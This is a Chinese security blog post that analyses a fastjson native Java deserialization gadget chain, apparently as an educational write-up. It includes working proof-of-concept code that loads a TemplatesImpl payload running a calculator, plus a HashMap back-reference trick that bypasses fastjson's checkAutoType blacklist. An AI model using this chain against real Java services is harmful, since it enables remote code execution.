当前位置: 首页 > article >正文

【网络安全】fastjson原生链分析

fastjson 原生链

前言

说起 fastjson 反序列化,大部分的利用都是从 @type 把 json 串解析为 java 对象,在构造方法和 setter、getter 方法中,做一些文件或者命令执行的操作。当然,在 fastjson 的依赖包中,也存在着像 CC 链 一样的利用的方式,从 readOject 出发,达到命令执行的效果

在 fasjton 中 可以序列化的类有

  • com.alibaba.fastjson.JSONException
  • com.alibaba.fastjson.JSONPathException
  • com.alibaba.fastjson.JSONArray
  • com.alibaba.fastjson.JSONObject

POC

适用版本 1.2.48 - 2.0.26

依赖

 <!-- 添加 javassist 依赖 --><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.28.0-GA</version></dependency><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.83</version></dependency>
package com.lingx5.fastjson2;import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;public class FastjsonSer {// 利用 javassist 生成恶意类字节码public static byte[] getTemplates() throws Exception {ClassPool ctClass = ClassPool.getDefault();CtClass evil = ctClass.makeClass("Evil");evil.setSuperclass(ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));evil.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");");return evil.toBytecode();}// 封装 setFieldValue 方法,用来反射设置字段值public static void setFieldValue(Object obj,String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] code = getTemplates();//装载TemplateTemplatesImpl template = new TemplatesImpl();setFieldValue(template, "_bytecodes", new byte[][] {code});setFieldValue(template, "_name", "Evil");JSONArray jsonArray = new JSONArray();jsonArray.add(template);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);setFieldValue(badAttributeValueExpException, "val", jsonArray);HashMap hashMap = new HashMap();hashMap.put(template, badAttributeValueExpException);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(hashMap);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));try{Object o = ois.readObject();}catch (Exception e){}while(true){}}
}

当然 你也可以不使用 javassist 动态生成类的字节码,把编译好的恶意 class 文件的二进制数组,显示赋值给 _bytecodes 变量即可

分析

先解释一下这个 POC

getTemplates 方法 ,是使用 javassist 生成了一个继承 AbstractTranslet 的恶意类名字是 Evil,在静态代码块里放置了执行计算器的恶意代码 方法返回恶意类的字节码

在 main 方法中 创建了 TemplatesImpl 实例,利用它类加载的能力来实例化恶意类,从而执行代码。

因为 JSONArray 实现了 serialize 接口,是可以实现序列化和反序列化的,找到了 BadAttributeValueExpException 的 readObject()方法,执行 JSON 的 toString(),调用任意类的 getter 方法,这里选择的是 TemplateImpl 类,因为他的getter方法具有类加载和初始化的能力

我们可以利用 arthas 把这个类从内存里 dump 下来看一下,这是工具的官方教程:

为了可以使用工具注入这个线程,我们在代码的尾部加上 while(true){} 循环,让这个代码运行不终止

 jad Evil

主要调用链

javax.management.BadAttributeValueExpException#readObjectcom.alibaba.fastjson.JSON#toString()com.alibaba.fastjson.JSON#toJSONString()com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties

这里传入的是 JSONArray 对象,但是执行的是 JSON#toString() ,是因为 JSONArray 没有重写 toString() 方法,所以会执行父类的方法。我们都知道 JSON#toJSONString() 就是把 java 对象序列化为 json 串的方法,会自动调用 get 方法,后续的调用就是 在 fastjson1.2.24 的过程一样了

执行结果

毫无疑问肯定是可以实现代码执行的

问题

这里有几个问题油然而生

  1. JSON 的 toString() 是怎么样去执行 getter 方法的?
  2. 入口是 BadAttributeValueExpException#readOject 方法,为什么还要用 HashMap 做一层封装呢?

我们先来看问题一

getter 方法的执行

实际上我们在 idea 里面调试是调试不到的,在调用栈中看到 com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl.write(Unknown Source:-1) 这其实就表示这个类是由运行时动态生成的,并无显示调用

调用链

at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:605)
at com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl.write(Unknown Source:-1)
at com.alibaba.fastjson.serializer.ListSerializer.write(ListSerializer.java:135)
at com.alibaba.fastjson.serializer.JSONSerializer.write(JSONSerializer.java:312)
at com.alibaba.fastjson.JSON.toJSONString(JSON.java:1077)
at com.alibaba.fastjson.JSON.toString(JSON.java:1071)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)

因为 fastjson 在这一部分使用了 asm 技术来提升性能,我们只能利用一些 heapdump 工具来分析

ASMSerializer_1_TemplatesImpl 这个类很长,看到调用的其实是他的 write 方法,我们 dump 一个 write 方法分析就好

jad com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl write

dump 的 ASMSerializer_1_TemplatesImpl 类 write 方法

public void write(JSONSerializer jSONSerializer, Object object, Object object2, Type type, int n) throws IOException {ObjectSerializer objectSerializer;if (object == null) {jSONSerializer.writeNull();return;}SerializeWriter serializeWriter = jSONSerializer.out;if (!this.writeDirect(jSONSerializer)) {this.writeNormal(jSONSerializer, object, object2, type, n);return;}if (serializeWriter.isEnabled(32768)) {this.writeDirectNonContext(jSONSerializer, object, object2, type, n);return;}TemplatesImpl templatesImpl = (TemplatesImpl)object;if (this.writeReference(jSONSerializer, object, n)) {return;}if (serializeWriter.isEnabled(0x200000)) {this.writeAsArray(jSONSerializer, object, object2, type, n);return;}SerialContext serialContext = jSONSerializer.getContext();jSONSerializer.setContext(serialContext, object, object2, 0);int n2 = 123;String string = "outputProperties";// 调用 getOutputProperties() 方法Object object3 = templatesImpl.getOutputProperties();if (object3 == null) {if (serializeWriter.isEnabled(964)) {serializeWriter.write(n2);serializeWriter.writeFieldNameDirect(string);serializeWriter.writeNull(0, 0);n2 = 44;}} else {serializeWriter.write(n2);serializeWriter.writeFieldNameDirect(string);if (object3.getClass() == Properties.class) {if (this.outputProperties_asm_ser_ == null) {this.outputProperties_asm_ser_ = jSONSerializer.getObjectWriter(Properties.class);}if ((objectSerializer = this.outputProperties_asm_ser_) instanceof JavaBeanSerializer) {((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);} else {objectSerializer.write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);}} else {jSONSerializer.writeWithFieldName(object3, string, this.outputProperties_asm_fieldType, 0);}n2 = 44;}string = "stylesheetDOM";if (!serializeWriter.isEnabled(0x2000000)) {// 调用getStylesheetDOM() 方法object3 = templatesImpl.getStylesheetDOM();if (object3 == null) {if (serializeWriter.isEnabled(964)) {serializeWriter.write(n2);serializeWriter.writeFieldNameDirect(string);serializeWriter.writeNull(0, 0);n2 = 44;}} else {serializeWriter.write(n2);serializeWriter.writeFieldNameDirect(string);if (object3.getClass() == DOM.class) {if (this.stylesheetDOM_asm_ser_ == null) {this.stylesheetDOM_asm_ser_ = jSONSerializer.getObjectWriter(DOM.class);}if ((objectSerializer = this.stylesheetDOM_asm_ser_) instanceof JavaBeanSerializer) {((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);} else {objectSerializer.write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);}} else {jSONSerializer.writeWithFieldName(object3, string, this.stylesheetDOM_asm_fieldType, 0);}n2 = 44;}}string = "transletIndex";// 调用getTransletIndex() 方法int n3 = templatesImpl.getTransletIndex();serializeWriter.writeFieldValue((char)n2, string, n3);n2 = 44;if (n2 == 123) {serializeWriter.write(123);}serializeWriter.write(125);jSONSerializer.setContext(serialContext);
}

可以发现,他会遍历调用所有实现了 getter 方法属性的 getter 方法 分别在 28 、56、84 行,我做了注释

而他调用 getOutputProperties() 方法时,就会触发我们的恶意类加载进 jvm,从而实现恶意代码执行

HashMap 封装的巧用

其实用 HashMap 封装,是使用了一定的绕过技巧。我们都知道 fastjson 在很早就把 TemplateImpl 这个类给加进 checkAutoType 的黑名单了 直接使用 BadAttributeValueExpException#readOject 方法 进行反序列化,会被拦截

我们可以测试一下

package com.lingx5.fastjson2;import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;public class FastjsonSer {// 利用 javassist 生成恶意类字节码public static byte[] getTemplates() throws Exception {ClassPool ctClass = ClassPool.getDefault();CtClass evil = ctClass.makeClass("Evil");evil.setSuperclass(ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));evil.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");");return evil.toBytecode();}// 封装 setFieldValue 方法,用来反射设置字段值public static void setFieldValue(Object obj,String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] code = getTemplates();//装载TemplateTemplatesImpl template = new TemplatesImpl();setFieldValue(template, "_bytecodes", new byte[][] {code});setFieldValue(template, "_name", "Evil");JSONArray jsonArray = new JSONArray();jsonArray.add(template);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);setFieldValue(badAttributeValueExpException, "val", jsonArray);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);// 直接写入 oos.writeObject(badAttributeValueExpException);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));try{Object o = ois.readObject();}catch (Exception e){e.printStackTrace();}//            while(true){}}
}

我们在 45 行 改变了变量

这段代码就是使用了 badAttributeValueExpException 直接进行反序列化,毫无疑问,抛出 autoType is not support 异常

我们在反序列化的时候,就经常碰到 checkAutoType 拦截我们的 @type 的类,那么序列化 又是为什么会执行 checkAutoType 呢?

BadAttributeValueExpException 反序列化流程

首先我们肯定是要进入 java.io.ObjectInputStream#readObject 方法的,里面调用 readObject0() 方法

步入,因为我们的 badAttributeValueExpException 对象,是普通对象类型 会进入 TC_OBJECT 分支

这里的几个分支 简单说一下

  • TC_OBJECT: 表示流中接下来是一个新的普通对象实例。会调用 readOrdinaryObject()
  • TC_CLASS: 表示流中接下来是一个 java.lang.Class 对象。会调用 readClass()
  • TC_CLASSDESC: 表示流中接下来是一个 类描述符 (ObjectStreamClass) 的数据。会调用 readClassDesc()
  • TC_PROXYCLASSDESC: 表示流中接下来是一个动态代理类的描述符。会调用 readProxyDesc()
  • TC_STRING, TC_LONGSTRING: 表示字符串。会调用 readString()readLongUTF()
  • TC_ARRAY: 表示数组。会调用 readArray()
  • TC_ENUM: 表示枚举常量。会调用 readEnum()
  • TC_NULL: 表示一个 null 引用。直接返回 null
  • TC_REFERENCE: 表示对流中先前已读取对象的 反向引用 (句柄)。会调用 readHandle() 来获取缓存的对象。
  • TC_EXCEPTION: 表示序列化的异常。会调用 readFatalException()
  • TC_BLOCKDATA, TC_BLOCKDATALONG: 表示原始数据块(通常在自定义 readObject 方法中使用)。会调用 readBlockHeader()
  • TC_RESET: 表示流重置标记。会处理流状态重置。
  • TC_ENDBLOCKDATA: 表示原始数据块的结束。

跟如 readOrdinaryObject() 方法 ,它会调用 readClassDesc() 来获取对象的类信息 (ObjectStreamClass)

跟进 readClassDesc 方法

首先读取 一个类描述符

根据描述符,进入 case TC_CLASSDESC 分支

继续跟 readNonProxyDesc 方法,它就是调用 readClassDescriptor() 从流中读取序列化的 ObjectStreamClass 数据。

readClassDescriptor() 会去调用,readNonProxy() 方法,读取 类名 , serialVersionUID , 标志位 , 字段数量 类型和名称 等信息,最后封装为 ObjectStreamClass 对象,赋值给 readDesc 变量

摘下来 看看这个 readNonProxy() 方法

/*** 从给定的输入流中读取非代理类描述符信息。* 生成的类描述符并非完全功能性的,仅能作为 ObjectInputStream.resolveClass()* 和 ObjectStreamClass.initNonProxy() 方法的输入。* * @param in 输入流,用于读取类描述符信息* @throws IOException 如果在读取过程中发生I/O错误* @throws ClassNotFoundException 如果无法找到对应的类*/
void readNonProxy(ObjectInputStream in)throws IOException, ClassNotFoundException
{// 从输入流中读取类名name = in.readUTF();// 从输入流中读取序列化ID,并将其包装为Long对象suid = Long.valueOf(in.readLong());// 设置isProxy标志为false,表示这不是一个代理类描述符isProxy = false;// 从输入流中读取类描述符标志byte flags = in.readByte();// 根据标志判断该类是否具有writeObject方法hasWriteObjectData =((flags & ObjectStreamConstants.SC_WRITE_METHOD) != 0);// 根据标志判断该类是否使用块数据模式hasBlockExternalData =((flags & ObjectStreamConstants.SC_BLOCK_DATA) != 0);// 根据标志判断该类是否为Externalizable类型externalizable =((flags & ObjectStreamConstants.SC_EXTERNALIZABLE) != 0);// 检查标志冲突:类不能同时为Externalizable和Serializableboolean sflag =((flags & ObjectStreamConstants.SC_SERIALIZABLE) != 0);if (externalizable && sflag) {throw new InvalidClassException(name, "可序列化和外部化标志冲突");}// 综合判断类是否为可序列化类型serializable = externalizable || sflag;// 根据标志判断该类是否为枚举类型isEnum = ((flags & ObjectStreamConstants.SC_ENUM) != 0);// 枚举类型的序列化ID必须为0,否则抛出异常if (isEnum && suid.longValue() != 0L) {throw new InvalidClassException(name,"枚举描述符具有非零的serialVersionUID: " + suid);}// 从输入流中读取字段数量int numFields = in.readShort();// 枚举类型的字段数量必须为0,否则抛出异常if (isEnum && numFields != 0) {throw new InvalidClassException(name,"枚举描述符具有非零字段数: " + numFields);}// 初始化字段数组,如果字段数量为0,则使用NO_FIELDS常量fields = (numFields > 0) ?new ObjectStreamField[numFields] : NO_FIELDS;// 遍历读取每个字段的信息for (int i = 0; i < numFields; i++) {char tcode = (char) in.readByte();String fname = in.readUTF();String signature = ((tcode == 'L') || (tcode == '[')) ?in.readTypeString() : new String(new char[] { tcode });try {// 创建字段描述符对象fields[i] = new ObjectStreamField(fname, signature, false);} catch (RuntimeException e) {// 如果创建字段描述符时发生异常,抛出InvalidClassExceptionthrow (IOException) new InvalidClassException(name,"字段描述符无效: " + fname).initCause(e);}}// 计算字段偏移量computeFieldOffsets();
}

我们回到 readNonProxy() 方法,调用 resolveClass() 方法

resolveClass() 方法 直接 Class.forName() 返回类了

接着 会去做一次 JEP290 的检查

然后调用 initNonProxy() 进行一列的初始化,最后 return 返回

接着 我们 弹栈到最初的 java.io.ObjectInputStream#readOrdinaryObject 方法,对类进行实例化

后边会去调用 readSerialData 方法

如果我们有自己重写 readObject,则调用 slotDesc.invokeReadObject(obj, this);若没有,则调用 defaultReadFields 填充数据。 很显然 BadAttributeValueException 是重写了 readObject 方法的

后续就是一系列的 invoke() 方法

javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:71)jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)java.lang.reflect.Method.invoke(Method.java:566)java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160)

就来到了我们的 BadAttributeValueExpException的readObject 方法,先去执行 readFields() 方法 ,我们在 payload 中 给 BadAttributeValueExpException 的 val 变了复制为了 JSONArray 对象,里面封装了 TemplateImpl 恶意类

我们步入跟一下,看到调用了 java.io.ObjectInputStream.GetFieldImpl#readFields

JSONArray 反序列化

接着跟 又看到了 熟悉的 readObject0() 方法,就是上面讲的 反序列化流程,上边是反序列化 BadAttributeValueExpException 这次是 JSONArray

就不在重复了,直接来到 JSONArray 的 实例化和 readSerialData 方法

接着

我们进入,依然执行 slotDesc.invokeReadObject() 方法

接着又是一堆 invoke() 方法,来到 JSONArray 的 readObject() 方法,发现他把反序列化的流程 委托给 SecureObjectInputStream 这个内部类来进行完成了

我们跟入,要去执行 defaultReadFields() 方法

看到 其内部依然是 readObject0() 进行反序列化 ArrayList 对象

ArrayList 反序列化

依然是和上面一样的流程, readNonProxyDesc 调用 resolveClass() 的地方

这里因为 SecureObjectInputStream 重写了 resolveClass() 方法,所以这里不在执行 ObjectInputStream#resolveClass 默认的方法了,而是会先执行 JSONObject.SecureObjectInputStream#resolveClass 方法,最后再去 ObjectInputStream#resolveClass 返回类

ArrayList 在白名单中 所以不会走 checkAutoType 检查

TemplateImpl 反序列化

TemplateImpl 和 ArrayList 的流程是一样的,都会去走 SecureObjectInputStream#resolveClass 方法 ,但是 TemplateImpl 不在 mappings 白名单中,会进入 checkAutoType 的检查

很明显这里的 checkAutoType 黑名单里是有 TemplateImpl 类的,自然也就抛出了 autoType is not support. 异常

最后看一下完整的调用栈

resolveClass:597, JSONObject$SecureObjectInputStream (com.alibaba.fastjson)
readNonProxyDesc:1886, ObjectInputStream (java.io)
readClassDesc:1772, ObjectInputStream (java.io)
readOrdinaryObject:2060, ObjectInputStream (java.io)
readObject0:1594, ObjectInputStream (java.io)
readObject:430, ObjectInputStream (java.io)
readObject:928, ArrayList (java.util)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
invokeReadObject:1160, ObjectStreamClass (java.io)
readSerialData:2216, ObjectInputStream (java.io)
readOrdinaryObject:2087, ObjectInputStream (java.io)
readObject0:1594, ObjectInputStream (java.io)
defaultReadFields:2355, ObjectInputStream (java.io)
defaultReadObject:566, ObjectInputStream (java.io)
readObject:486, JSONArray (com.alibaba.fastjson)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
invokeReadObject:1160, ObjectStreamClass (java.io)
readSerialData:2216, ObjectInputStream (java.io)
readOrdinaryObject:2087, ObjectInputStream (java.io)
readObject0:1594, ObjectInputStream (java.io)
readFields:2534, ObjectInputStream$GetFieldImpl (java.io)
readFields:610, ObjectInputStream (java.io)
readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
invokeReadObject:1160, ObjectStreamClass (java.io)
readSerialData:2216, ObjectInputStream (java.io)
readOrdinaryObject:2087, ObjectInputStream (java.io)
readObject0:1594, ObjectInputStream (java.io)
readObject:430, ObjectInputStream (java.io)
main:52, FastjsonSer (com.lingx5.fastjson2)
解决

我们刚才也已经介绍过了引用的特性 (TC_REFERENCE)

TC_REFERENCE: 表示对流中先前已读取对象的 反向引用 (句柄)。会调用 readHandle() 来获取缓存的对象。

TC_REFERENCE,是引用类型。序列化后的数据其实相当繁琐,多层嵌套很容易搞乱,在恢复对象的时候也不太容易。于是就有了引用这个东西,他可以引用在此之前已经出现过的对象。

当我们在 JSONArray (ArrayList) 中的类是 普通的类(TC_OBJECT)时 readObject0() 就会去执行 readOrdinaryObject => readNonProxyDesc() => SecureObjectInputStream#resolveClass => checkAutoType()

那么我们 如果不是普通类 而是利用 引用的特性(TC_REFERENCE) 不就可以 绕过 checkAutoType() 的执行了吗,反序列化出 TemplateImpl 进而去 执行后边的 toString 调用 getter 方法,实现恶意类执行

实验

其实了解到这些以后,我们也来做一个实验, 向输入流里第一次写 TemplateImpl ,第二次写 badAttributeValueExpException ,第一次反序列化 TemplateImpl 走正常的 ObjectInputStream#resolveClass

当第二次反序列化 TemplateImpl 时,也就是 JSONArray 中的 TemplateImpl ,会走 TC_REFERENCE 分支,从而避免了 checkAutoType 的检查

package com.lingx5.fastjson2;import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Arrays;public class FastjsonSerTest {// 封装 setFieldValue 方法,用来反射设置字段值public static void setFieldValue(Object obj,String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {// 用字节数组定义恶意类byte[] code = new byte[]{-54, -2, -70, -66, 0, 0, 0, 55, 0, 27, 1, 0, 4, 69, 118, 105, 108, 7, 0, 1, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 7, 0, 3, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 69, 118, 105, 108, 46, 106, 97, 118, 97, 1, 0, 64, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 114, 117, 110, 116, 105, 109, 101, 47, 65, 98, 115, 116, 114, 97, 99, 116, 84, 114, 97, 110, 115, 108, 101, 116, 7, 0, 7, 1, 0, 8, 60, 99, 108, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 7, 0, 12, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 12, 0, 14, 0, 15, 10, 0, 13, 0, 16, 1, 0, 4, 99, 97, 108, 99, 8, 0, 18, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 12, 0, 20, 0, 21, 10, 0, 13, 0, 22, 1, 0, 6, 60, 105, 110, 105, 116, 62, 12, 0, 24, 0, 10, 10, 0, 8, 0, 25, 0, 33, 0, 2, 0, 8, 0, 0, 0, 0, 0, 2, 0, 8, 0, 9, 0, 10, 0, 1, 0, 11, 0, 0, 0, 22, 0, 2, 0, 0, 0, 0, 0, 10, -72, 0, 17, 18, 19, -74, 0, 23, 87, -79, 0, 0, 0, 0, 0, 1, 0, 24, 0, 10, 0, 1, 0, 11, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 26, -79, 0, 0, 0, 0, 0, 1, 0, 5, 0, 0, 0, 2, 0, 6};//装载TemplateTemplatesImpl template = new TemplatesImpl();setFieldValue(template, "_bytecodes", new byte[][]{code});setFieldValue(template, "_name", "Evil");JSONArray jsonArray = new JSONArray();jsonArray.add(template);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);setFieldValue(badAttributeValueExpException, "val", jsonArray);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);// 先放入 template,再放入 badAttributeValueExpExceptionoos.writeObject(template);oos.writeObject(badAttributeValueExpException);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));try{ois.readObject(); // 读取 templateois.readObject(); // 读取 badAttributeValueExpException}catch (Exception e){e.printStackTrace();}}
}

进入了 readObject0 的 TC_REFERENCE 分支

成功返回 TemplateImpl 对象

毫无疑问,执行成功

注意:

这个改造只是方便我们理解的小实验,真是环境中 readObject 肯定就只执行一次,一般没有两次连着执行的。用 HashMap 封装就很好的解决了这个问题。更加适用于真实场景

HashMap 在反序列化的过程中,正好会先去反序列化 key(TemplateImpl )再去反序列化 value(badAttributeValueExpException)正好可以 满足在第二次反序列化 TemplateImpl 的时候,走到 TC_REFERENCE 分支,从而绕过 checkAutoType 的检查

修复

FastJSON 2.0.27 开始支持 JSONB(JSON Binary)格式,JSONB 是一种二进制 JSON 格式,旨在提供比传统文本 JSON 更高的性能和更小的存储空间。它允许将 Java 对象序列化为二进制格式,并能高效地解析回 Java 对象。

在 fastjson 2.0.27中 看到 asm 生成的 writer 对象不再是 ASMSerializer_1_TemplatesImpl 而是变为了 OWG_1_0_TemplatesImpl 对象

dump下来看看

jad com.alibaba.fastjson2.writer.OWG_1_0_TemplatesImpl 

这个类 也不是很长,就全部 dump下来了

/** Decompiled with CFR.*/
package com.alibaba.fastjson2.writer;import com.alibaba.fastjson2.JSONWriter;
import com.alibaba.fastjson2.writer.ObjectWriter;
import com.alibaba.fastjson2.writer.ObjectWriterAdapter;
import java.lang.reflect.Type;
import java.util.List;public final class OWG_1_0_TemplatesImpl
extends ObjectWriterAdapter
implements ObjectWriter {public OWG_1_0_TemplatesImpl(Class clazz, String string, String string2, long l, List list) {super(clazz, string, string2, l, list);}@Overridepublic void writeJSONB(JSONWriter jSONWriter, Object object, Object object2, Type type, long l) {long l2 = jSONWriter.getFeatures();long l3 = (l2 & 0x1000L) - 0L;long l4 = l3 == 0L ? 0 : (l3 < 0L ? -1 : 1);if (l4 != false) {boolean bl = false;} else {long l5 = (l2 & 0x50L) - 0L;long l6 = l5 == 0L ? 0 : (l5 < 0L ? -1 : 1);}if (object != null && object.getClass() != type && jSONWriter.isWriteTypeInfo(object, type)) {this.writeClassInfo(jSONWriter);}jSONWriter.startObject();jSONWriter.endObject();}@Overridepublic void write(JSONWriter jSONWriter, Object object, Object object2, Type type, long l) {long l2 = jSONWriter.getFeatures();long l3 = (l2 & 0x1000L) - 0L;long l4 = l3 == 0L ? 0 : (l3 < 0L ? -1 : 1);if (l4 != false) {boolean bl = false;} else {long l5 = (l2 & 0x50L) - 0L;long l6 = l5 == 0L ? 0 : (l5 < 0L ? -1 : 1);}if ((l2 & 0x8000L) != 0L) {super.write(jSONWriter, object, object2, type, l);return;}if (jSONWriter.jsonb) {if ((l2 & 8L) != 0L) {this.writeArrayMappingJSONB(jSONWriter, object, object2, type, l);return;}this.writeJSONB(jSONWriter, object, object2, type, l);return;}if ((l2 & 8L) != 0L) {this.writeArrayMapping(jSONWriter, object, object2, type, l);return;}if (this.hasFilter(jSONWriter)) {this.writeWithFilter(jSONWriter, object, object2, type, l);return;}jSONWriter.startObject();boolean bl = true;if (object != null && object.getClass() != type && jSONWriter.isWriteTypeInfo(object, type)) {bl = this.writeTypeInfo(jSONWriter) ^ true;}jSONWriter.endObject();}@Overridepublic void writeArrayMappingJSONB(JSONWriter jSONWriter, Object object, Object object2, Type type, long l) {if (object != null && object.getClass() != type && jSONWriter.isWriteTypeInfo(object, type)) {this.writeClassInfo(jSONWriter);}jSONWriter.startArray(0);long l2 = jSONWriter.getFeatures();long l3 = (l2 & 0x1000L) - 0L;long l4 = l3 == 0L ? 0 : (l3 < 0L ? -1 : 1);if (l4 != false) {boolean bl = false;} else {long l5 = (l2 & 0x50L) - 0L;long l6 = l5 == 0L ? 0 : (l5 < 0L ? -1 : 1);}}@Overridepublic void writeArrayMapping(JSONWriter jSONWriter, Object object, Object object2, Type type, long l) {if (jSONWriter.jsonb) {this.writeArrayMappingJSONB(jSONWriter, object, object2, type, l);return;}if (this.hasFilter(jSONWriter)) {super.writeArrayMapping(jSONWriter, object, object2, type, l);return;}jSONWriter.startArray();jSONWriter.endArray();}
}

在 OWG_1_0_TemplatesImpl 的 write 方法中,通过检查 jSONWriter.jsonb 标志,如果启用了 JSONB 格式,会调用 writeJSONB 或 writeArrayMappingJSONB 方法进行序列化。

不在显示的调用getter方法了

相关文章:

【网络安全】fastjson原生链分析

fastjson 原生链 前言 说起 fastjson 反序列化&#xff0c;大部分的利用都是从 type 把 json 串解析为 java 对象&#xff0c;在构造方法和 setter、getter 方法中&#xff0c;做一些文件或者命令执行的操作。当然&#xff0c;在 fastjson 的依赖包中&#xff0c;也存在着像 …...

【人工智能 | 项目开发】Python Flask实现本地AI大模型可视化界面

文末获取项目源码。 文章目录 项目背景项目结构app.py(后端服务)index.html(前端界面)项目运行项目图示项目源码项目背景 随着人工智能技术的快速发展,大语言模型在智能交互领域展现出巨大潜力。本项目基于 Qwen3-1.7B 模型,搭建一个轻量化的智能聊天助手,旨在为用户提…...

uni-app 项目支持 vue 3.0 详解及版本升级方案?

uni-app 支持 Vue 3.0 详解及升级方案 一、uni-app 对 Vue 3.0 的支持现状 uni-app 从 3.0 版本 开始支持 Vue 3.0&#xff0c;主要变化包括&#xff1a; 核心框架升级&#xff1a; 基于 Vue 3.0 的 Composition API 和 Options API 双模式支持提供 vueuse/core 等组合式 API…...

SpringBoot3中使用虚拟线程的详细过程

在 Spring Boot 3 中使用 Java 21 的虚拟线程&#xff08;Virtual Threads&#xff09;可以显著提升 I/O 密集型应用的并发能力。以下是详细实现步骤&#xff1a; 1. 环境准备 JDK 21&#xff1a;确保安装 JDK 21 或更高版本Spring Boot 3.2&#xff1a;最低要求&#xff08;p…...

达梦使用存储过程实现删除重复记录、判断并添加主键和自增列的逻辑

在达梦数据库中&#xff0c;要确保主键的唯一性约束&#xff0c;可以在存储过程的最前面添加删除重复记录的逻辑。以下是一个完整的存储过程&#xff0c;包含删除重复记录、判断并添加主键和自增列的逻辑&#xff1a; 存储过程示例 -- 切换到指定模式;schema_name 是目标模…...

